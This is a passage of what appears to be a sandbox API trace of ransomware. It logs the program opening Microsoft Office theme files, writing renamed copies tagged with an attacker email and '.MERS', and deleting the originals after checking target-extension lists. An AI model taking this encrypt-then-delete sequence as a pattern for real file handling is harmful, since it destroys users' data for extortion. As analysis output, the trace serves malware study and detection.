[0271.257] SetEndOfFile (hFile=0x3e8) returned 1 [0271.257] CloseHandle (hObject=0x3e8) returned 1 [0271.258] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0271.258] SetEndOfFile (hFile=0x284) returned 1 [0271.265] CloseHandle (hObject=0x284) returned 1 [0271.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.320] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx")) returned 1 [0271.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0271.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0271.321] lstrlenW (lpString=".doc") returned 4 [0271.321] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0271.321] lstrlenW (lpString=".docx") returned 5 [0271.321] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0271.321] lstrlenW (lpString=".pdf") returned 4 [0271.321] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0271.321] lstrlenW (lpString=".xls") returned 4 [0271.321] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0271.321] lstrlenW (lpString=".xlsx") returned 5 [0271.321] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0271.321] lstrlenW (lpString=".ppt") returned 4 [0271.321] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0271.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0271.321] lstrlenW (lpString=".zip") returned 4 [0271.321] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0271.321] lstrlenW (lpString=".rar") returned 4 [0271.321] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0271.321] lstrlenW (lpString=".bz2") returned 4 [0271.321] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0271.321] lstrlenW (lpString=".7z") returned 3 [0271.321] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0271.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0271.321] lstrlenW (lpString=".dbf") returned 4 [0271.321] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0271.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0271.321] lstrlenW (lpString=".1cd") returned 4 [0271.321] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0271.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0271.322] lstrlenW (lpString=".jpg") returned 4 [0271.322] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0271.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0271.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0271.322] lstrlenW (lpString=".doc") returned 4 [0271.322] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0271.322] lstrlenW (lpString=".docx") returned 5 [0271.322] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0271.322] lstrlenW (lpString=".pdf") returned 4 [0271.322] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0271.322] lstrlenW (lpString=".xls") returned 4 [0271.322] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0271.322] lstrlenW (lpString=".xlsx") returned 5 [0271.322] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0271.322] lstrlenW (lpString=".ppt") returned 4 [0271.322] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0271.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0271.322] lstrlenW (lpString=".zip") returned 4 [0271.322] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0271.322] lstrlenW (lpString=".rar") returned 4 [0271.322] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0271.322] lstrlenW (lpString=".bz2") returned 4 [0271.322] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0271.322] lstrlenW (lpString=".7z") returned 3 [0271.322] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0271.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0271.322] lstrlenW (lpString=".dbf") returned 4 [0271.322] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0271.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0271.323] lstrlenW (lpString=".1cd") returned 4 [0271.323] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0271.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0271.323] lstrlenW (lpString=".jpg") returned 4 [0271.323] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0271.323] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0271.323] lstrlenW (lpString="Median.eftx") returned 11 [0271.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0271.362] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=39546) returned 1 [0271.362] CloseHandle (hObject=0x3c8) returned 1 [0271.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx")) returned 0x20 [0271.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0271.383] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0271.383] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0271.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0271.383] GetLastError () returned 0x0 [0271.383] ReadFile (in: hFile=0x3b8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x9a7a, lpOverlapped=0x0) returned 1 [0271.498] WriteFile (in: hFile=0x40c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0x9a80, lpOverlapped=0x0) returned 1 [0271.499] ReadFile (in: hFile=0x3b8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0271.499] WriteFile (in: hFile=0x40c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xea, lpOverlapped=0x0) returned 1 [0271.499] SetEndOfFile (hFile=0x40c) returned 1 [0271.898] CloseHandle (hObject=0x40c) returned 1 [0271.898] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0271.898] SetEndOfFile (hFile=0x3b8) returned 1 [0271.900] CloseHandle (hObject=0x3b8) returned 1 [0271.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.960] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx")) returned 1 [0271.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0271.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0271.965] lstrlenW (lpString=".doc") returned 4 [0271.965] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0271.965] lstrlenW (lpString=".docx") returned 5 [0271.965] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0271.965] lstrlenW (lpString=".pdf") returned 4 [0271.965] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0271.965] lstrlenW (lpString=".xls") returned 4 [0271.965] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0271.965] lstrlenW (lpString=".xlsx") returned 5 [0271.965] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0271.966] lstrlenW (lpString=".ppt") returned 4 [0271.966] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0271.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0271.966] lstrlenW (lpString=".zip") returned 4 [0271.966] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0271.966] lstrlenW (lpString=".rar") returned 4 [0271.966] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0271.966] lstrlenW (lpString=".bz2") returned 4 [0271.966] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0271.966] lstrlenW (lpString=".7z") returned 3 [0271.966] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0271.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0271.966] lstrlenW (lpString=".dbf") returned 4 [0271.966] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0271.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0271.966] lstrlenW (lpString=".1cd") returned 4 [0271.966] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0271.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0271.966] lstrlenW (lpString=".jpg") returned 4 [0271.966] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0271.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0271.966] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0271.966] lstrlenW (lpString=".doc") returned 4 [0271.966] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0271.966] lstrlenW (lpString=".docx") returned 5 [0271.966] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0271.966] lstrlenW (lpString=".pdf") returned 4 [0271.966] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0271.966] lstrlenW (lpString=".xls") returned 4 [0271.966] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0271.966] lstrlenW (lpString=".xlsx") returned 5 [0271.966] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0271.966] lstrlenW (lpString=".ppt") returned 4 [0271.966] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0271.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0271.967] lstrlenW (lpString=".zip") returned 4 [0271.967] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0271.967] lstrlenW (lpString=".rar") returned 4 [0271.967] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0271.967] lstrlenW (lpString=".bz2") returned 4 [0271.967] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0271.967] lstrlenW (lpString=".7z") returned 3 [0271.967] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0271.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0271.967] lstrlenW (lpString=".dbf") returned 4 [0271.967] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0271.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0271.967] lstrlenW (lpString=".1cd") returned 4 [0271.967] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0271.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0271.967] lstrlenW (lpString=".jpg") returned 4 [0271.967] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0271.967] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0271.967] lstrlenW (lpString="Module.eftx") returned 11 [0271.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0271.981] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=43357) returned 1 [0271.981] CloseHandle (hObject=0x3b8) returned 1 [0271.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx")) returned 0x20 [0271.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0271.981] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0271.981] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0271.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0271.981] GetLastError () returned 0x0 [0271.981] ReadFile (in: hFile=0x3b8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0xa95d, lpOverlapped=0x0) returned 1 [0272.313] WriteFile (in: hFile=0x40c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xa960, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xa960, lpOverlapped=0x0) returned 1 [0272.314] ReadFile (in: hFile=0x3b8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0272.314] WriteFile (in: hFile=0x40c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xea, lpOverlapped=0x0) returned 1 [0272.315] SetEndOfFile (hFile=0x40c) returned 1 [0272.315] CloseHandle (hObject=0x40c) returned 1 [0272.315] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0272.315] SetEndOfFile (hFile=0x3b8) returned 1 [0272.317] CloseHandle (hObject=0x3b8) returned 1 [0272.317] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.317] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx")) returned 1 [0272.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0272.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0272.317] lstrlenW (lpString=".doc") returned 4 [0272.317] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.317] lstrlenW (lpString=".docx") returned 5 [0272.317] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.317] lstrlenW (lpString=".pdf") returned 4 [0272.317] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.318] lstrlenW (lpString=".xls") returned 4 [0272.318] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.318] lstrlenW (lpString=".xlsx") returned 5 [0272.318] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.318] lstrlenW (lpString=".ppt") returned 4 [0272.318] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0272.318] lstrlenW (lpString=".zip") returned 4 [0272.318] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.318] lstrlenW (lpString=".rar") returned 4 [0272.318] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.318] lstrlenW (lpString=".bz2") returned 4 [0272.318] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.318] lstrlenW (lpString=".7z") returned 3 [0272.318] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0272.318] lstrlenW (lpString=".dbf") returned 4 [0272.318] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0272.318] lstrlenW (lpString=".1cd") returned 4 [0272.318] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0272.318] lstrlenW (lpString=".jpg") returned 4 [0272.318] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0272.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0272.318] lstrlenW (lpString=".doc") returned 4 [0272.318] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0272.318] lstrlenW (lpString=".docx") returned 5 [0272.318] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0272.318] lstrlenW (lpString=".pdf") returned 4 [0272.319] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0272.319] lstrlenW (lpString=".xls") returned 4 [0272.319] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0272.319] lstrlenW (lpString=".xlsx") returned 5 [0272.319] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0272.319] lstrlenW (lpString=".ppt") returned 4 [0272.319] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0272.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0272.319] lstrlenW (lpString=".zip") returned 4 [0272.319] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0272.319] lstrlenW (lpString=".rar") returned 4 [0272.319] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0272.319] lstrlenW (lpString=".bz2") returned 4 [0272.319] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0272.319] lstrlenW (lpString=".7z") returned 3 [0272.319] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0272.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0272.319] lstrlenW (lpString=".dbf") returned 4 [0272.319] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0272.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0272.319] lstrlenW (lpString=".1cd") returned 4 [0272.319] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0272.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0272.319] lstrlenW (lpString=".jpg") returned 4 [0272.319] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0272.319] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0272.319] lstrlenW (lpString="Oriel.eftx") returned 10 [0272.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0272.590] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=43193) returned 1 [0272.590] CloseHandle (hObject=0x3b8) returned 1 [0272.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx")) returned 0x20 [0272.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0272.591] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0272.591] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0272.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c [0272.591] GetLastError () returned 0x0 [0272.591] ReadFile (in: hFile=0x3b8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0xa8b9, lpOverlapped=0x0) returned 1 [0272.671] WriteFile (in: hFile=0x40c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xa8c0, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xa8c0, lpOverlapped=0x0) returned 1 [0272.672] ReadFile (in: hFile=0x3b8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0272.672] WriteFile (in: hFile=0x40c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xe8, lpOverlapped=0x0) returned 1 [0272.672] SetEndOfFile (hFile=0x40c) returned 1 [0272.672] CloseHandle (hObject=0x40c) returned 1 [0272.672] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0272.672] SetEndOfFile (hFile=0x3b8) returned 1 [0272.674] CloseHandle (hObject=0x3b8) returned 1 [0272.674] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.675] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx")) returned 1 [0272.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0272.675] lstrlenW 